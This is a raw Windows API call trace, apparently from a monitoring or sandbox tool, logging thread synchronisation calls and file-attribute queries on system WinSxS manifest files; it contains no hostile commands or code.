	[0091.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0091.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.195] SetEvent (hEvent=0x8c) returned 1
	[0092.196] SetEvent (hEvent=0x6c) returned 1
	[0092.196] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0092.197] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.198] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0092.198] SetEvent (hEvent=0x8c) returned 1
	[0092.198] SetEvent (hEvent=0x6c) returned 1
	[0092.198] SetEvent (hEvent=0x78) returned 1
	[0092.198] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.199] SetEvent (hEvent=0xa8) returned 1
	[0092.199] SetEvent (hEvent=0x78) returned 1
	[0092.199] SetEvent (hEvent=0xb4) returned 1
	[0092.199] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.200] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.814] SetEvent (hEvent=0x78) returned 1
	[0092.814] SetEvent (hEvent=0x6c) returned 1
	[0092.814] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0092.817] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.817] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0092.818] SetEvent (hEvent=0x78) returned 1
	[0092.818] SetEvent (hEvent=0x6c) returned 1
	[0092.818] SetEvent (hEvent=0x8c) returned 1
	[0092.818] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.818] SetEvent (hEvent=0x8c) returned 1
	[0092.818] SetEvent (hEvent=0xb4) returned 1
	[0092.818] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0092.821] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0093.542] SetEvent (hEvent=0xb4) returned 1
	[0093.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0093.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0094.147] SetEvent (hEvent=0xb4) returned 1
	[0094.147] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0094.186] SetEvent (hEvent=0x6c) returned 1
	[0094.187] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0094.802] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0094.804] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0095.140] SetEvent (hEvent=0xb4) returned 1
	[0095.140] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0095.141] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0095.460] SetEvent (hEvent=0xb4) returned 1
	[0095.460] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0095.461] SetEvent (hEvent=0x6c) returned 1
	[0095.462] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0096.141] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0096.146] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0096.922] SetEvent (hEvent=0xb4) returned 1
	[0096.922] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0096.922] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0098.060] SetEvent (hEvent=0x8c) returned 1
	[0098.060] SetEvent (hEvent=0x6c) returned 1
	[0098.060] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0098.062] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0099.462] SetEvent (hEvent=0x8c) returned 1
	[0099.462] SetEvent (hEvent=0x78) returned 1
	[0099.462] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0099.464] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0100.476] SetEvent (hEvent=0x6c) returned 1
	[0100.476] SetEvent (hEvent=0x8c) returned 1
	[0100.476] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0100.487] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0101.120] SetEvent (hEvent=0xb4) returned 1
	[0101.120] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0101.153] SetEvent (hEvent=0x6c) returned 1
	[0101.153] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0101.284] SetEvent (hEvent=0x6c) returned 1
	[0101.284] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0101.284] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0101.393] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0101.857] SetEvent (hEvent=0x6c) returned 1
	[0101.857] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0101.865] SetEvent (hEvent=0x8c) returned 1
	[0101.865] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0102.580] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0102.581] SetEvent (hEvent=0x8c) returned 1
	[0102.581] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0102.582] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0103.370] SetEvent (hEvent=0x8c) returned 1
	[0103.370] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0103.372] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0103.784] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0103.895] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0104.155] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0104.220] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0104.229] SetEvent (hEvent=0x8c) returned 1
	[0104.230] SetEvent (hEvent=0x78) returned 1
	[0104.231] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0104.232] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0104.232] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0104.233] SetEvent (hEvent=0x8c) returned 1
	[0104.233] SetEvent (hEvent=0x78) returned 1
	[0104.233] SetEvent (hEvent=0xb4) returned 1
	[0104.233] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0104.234] SetEvent (hEvent=0xa8) returned 1
	[0104.234] SetEvent (hEvent=0xb4) returned 1
	[0104.234] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0105.125] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0105.126] SetEvent (hEvent=0xb4) returned 1
	[0105.126] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0105.126] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0105.550] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0105.959] SetEvent (hEvent=0x78) returned 1
	[0105.959] SetEvent (hEvent=0x8c) returned 1
	[0105.960] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0105.960] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0106.401] SetEvent (hEvent=0x78) returned 1
	[0106.401] SetEvent (hEvent=0x6c) returned 1
	[0106.401] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0106.403] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0106.610] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0106.809] SetEvent (hEvent=0xb4) returned 1
	[0106.809] SetEvent (hEvent=0x6c) returned 1
	[0106.809] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0106.986] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0106.986] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0106.987] SetEvent (hEvent=0xb4) returned 1
	[0106.987] SetEvent (hEvent=0x6c) returned 1
	[0106.987] SetEvent (hEvent=0x8c) returned 1
	[0106.987] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0106.987] SetEvent (hEvent=0xa8) returned 1
	[0106.987] SetEvent (hEvent=0x8c) returned 1
	[0106.987] SetEvent (hEvent=0x78) returned 1
	[0106.987] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0107.087] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0107.402] SetEvent (hEvent=0x8c) returned 1
	[0107.402] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0107.457] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0107.457] SetEvent (hEvent=0x8c) returned 1
	[0107.457] SetEvent (hEvent=0x78) returned 1
	[0107.457] SetEvent (hEvent=0x6c) returned 1
	[0107.457] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0107.458] SetEvent (hEvent=0xa8) returned 1
	[0107.458] SetEvent (hEvent=0x6c) returned 1
	[0107.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-help-oemhelpins_31bf3856ad364e35_6.1.7600.16385_none_02251b880c000edf.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-help-oemhelpins_31bf3856ad364e35_6.1.7600.16385_none_02251b880c000edf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c22fa8 | out: lpFileInformation=0x12c22fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x821446a4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x84445e8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x1898e7bd, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0xd70)) returned 1
	[0107.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-help-resources-client_31bf3856ad364e35_6.1.7600.16385_none_ec87a1351e16c14e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-help-resources-client_31bf3856ad364e35_6.1.7600.16385_none_ec87a1351e16c14e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c22ff8 | out: lpFileInformation=0x12c22ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e1ef5, ftCreationTime.dwHighDateTime=0x1ca0426, ftLastAccessTime.dwLowDateTime=0x19fcf8dc, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xae47f5b3, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa15)) returned 1
	[0107.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-help-storagelayer_31bf3856ad364e35_6.1.7600.16385_none_de737c19662130e7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-help-storagelayer_31bf3856ad364e35_6.1.7600.16385_none_de737c19662130e7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23048 | out: lpFileInformation=0x12c23048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f7407e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc8a842c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5df1a467, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x19fd2)) returned 1
	[0107.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-help_31bf3856ad364e35_6.1.7600.16385_none_a90c6eb47c74dde2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-help_31bf3856ad364e35_6.1.7600.16385_none_a90c6eb47c74dde2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23098 | out: lpFileInformation=0x12c23098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8600c5f2, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8600c5f2, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaea269cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18e)) returned 1
	[0107.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-hlink.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cad24e0f4ed91300.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-hlink.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cad24e0f4ed91300.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c230e8 | out: lpFileInformation=0x12c230e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f1d0fb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf2f1d0fb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x7e6)) returned 1
	[0107.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-hlink_31bf3856ad364e35_6.1.7600.16385_none_5798812ac56f3f37.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-hlink_31bf3856ad364e35_6.1.7600.16385_none_5798812ac56f3f37.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23138 | out: lpFileInformation=0x12c23138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bec8026, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x13415c38, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x2cd64f1, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x10d7)) returned 1
	[0107.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-homegroup-controlpanel_31bf3856ad364e35_6.1.7601.17514_none_b83c28f41f93f405.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-homegroup-controlpanel_31bf3856ad364e35_6.1.7601.17514_none_b83c28f41f93f405.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23188 | out: lpFileInformation=0x12c23188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a19a5e6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6a19a5e6, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6a1c0746, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1291b)) returned 1
	[0107.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-hotpatchinstaller_1122334455667788_6.1.7600.16385_none_750dc60d80902a89.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-hotpatchinstaller_1122334455667788_6.1.7600.16385_none_750dc60d80902a89.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c231d8 | out: lpFileInformation=0x12c231d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba0debb, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8ba0debb, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2427bb0e, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x5f6)) returned 1
	[0107.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-htmlhelp-feature_31bf3856ad364e35_6.1.7600.16385_none_89fc6f4e1cbfe774.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-htmlhelp-feature_31bf3856ad364e35_6.1.7600.16385_none_89fc6f4e1cbfe774.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23228 | out: lpFileInformation=0x12c23228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85e8f850, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x85e8f850, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xbbcf60a4, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x298)) returned 1
	[0107.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-htmlhelp-infotech_31bf3856ad364e35_6.1.7601.17514_none_f8ab56ff71fc562a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-htmlhelp-infotech_31bf3856ad364e35_6.1.7601.17514_none_f8ab56ff71fc562a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23278 | out: lpFileInformation=0x12c23278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b559cb3, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5b559cb3, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5b57fe13, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x9f1c)) returned 1
	[0107.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-http-api.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5548b1a693a315f1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-http-api.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5548b1a693a315f1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c232c8 | out: lpFileInformation=0x12c232c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d93914, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3d93914, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x915)) returned 1
	[0107.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-http-api_31bf3856ad364e35_6.1.7601.17514_none_f7b3a6eafb8df2de.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-http-api_31bf3856ad364e35_6.1.7601.17514_none_f7b3a6eafb8df2de.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23318 | out: lpFileInformation=0x12c23318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ac227d, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x74ac227d, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x74ae83de, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xc99)) returned 1
	[0107.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-http-feature_31bf3856ad364e35_6.1.7600.16385_none_d3e2a578a6bd9778.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-http-feature_31bf3856ad364e35_6.1.7600.16385_none_d3e2a578a6bd9778.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23368 | out: lpFileInformation=0x12c23368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b49a52, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x85b49a52, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaef81b29, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1
	[0107.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..-ccshared.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5d25e6346345ccbf.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..-ccshared.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5d25e6346345ccbf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c233b8 | out: lpFileInformation=0x12c233b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fdbe98, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf2fdbe98, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x326)) returned 1
	[0107.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..-codepage-core-thai_31bf3856ad364e35_6.1.7600.16385_none_e4b656271445095f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..-codepage-core-thai_31bf3856ad364e35_6.1.7600.16385_none_e4b656271445095f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23408 | out: lpFileInformation=0x12c23408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8746e0b7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8746e0b7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb4852db4, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2b9)) returned 1
	[0107.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..-csapplet.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dee2e942910355b1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..-csapplet.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dee2e942910355b1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23458 | out: lpFileInformation=0x12c23458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d93914, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3d93914, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7)) returned 1
	[0107.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..-els-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_fcc611eff86d14dd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..-els-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_fcc611eff86d14dd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c234a8 | out: lpFileInformation=0x12c234a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7104465, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf77476bf, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf7104465, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x86d)) returned 1
	[0107.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..-nlsbuild.resources_31bf3856ad364e35_6.1.7600.16385_en-us_766560e0ef4e247e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..-nlsbuild.resources_31bf3856ad364e35_6.1.7600.16385_en-us_766560e0ef4e247e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c234f8 | out: lpFileInformation=0x12c234f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf70b7ef3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf77476bf, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf70b7ef3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x88c)) returned 1
	[0107.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..-setieinstalleddate_31bf3856ad364e35_8.0.7600.16385_none_23079f05995ee912.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..-setieinstalleddate_31bf3856ad364e35_8.0.7600.16385_none_23079f05995ee912.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23548 | out: lpFileInformation=0x12c23548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38100785, ftCreationTime.dwHighDateTime=0x1ca0426, ftLastAccessTime.dwLowDateTime=0x38100785, ftLastAccessTime.dwHighDateTime=0x1ca0426, ftLastWriteTime.dwLowDateTime=0x381268e4, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x923)) returned 1
	[0107.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..-simplified_chinese_31bf3856ad364e35_6.1.7600.16385_none_10ebd27fe2fcb1b5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..-simplified_chinese_31bf3856ad364e35_6.1.7600.16385_none_10ebd27fe2fcb1b5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23598 | out: lpFileInformation=0x12c23598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8670a605, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8670a605, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb482cc55, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2e3)) returned 1
	[0107.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ablenetworkgraphics_31bf3856ad364e35_8.0.7600.16385_none_08570c83ebbf01dd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ablenetworkgraphics_31bf3856ad364e35_8.0.7600.16385_none_08570c83ebbf01dd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c235e8 | out: lpFileInformation=0x12c235e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef837b, ftCreationTime.dwHighDateTime=0x1ca0425, ftLastAccessTime.dwLowDateTime=0x90ef837b, ftLastAccessTime.dwHighDateTime=0x1ca0425, ftLastWriteTime.dwLowDateTime=0x90f1e4da, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x16b3)) returned 1
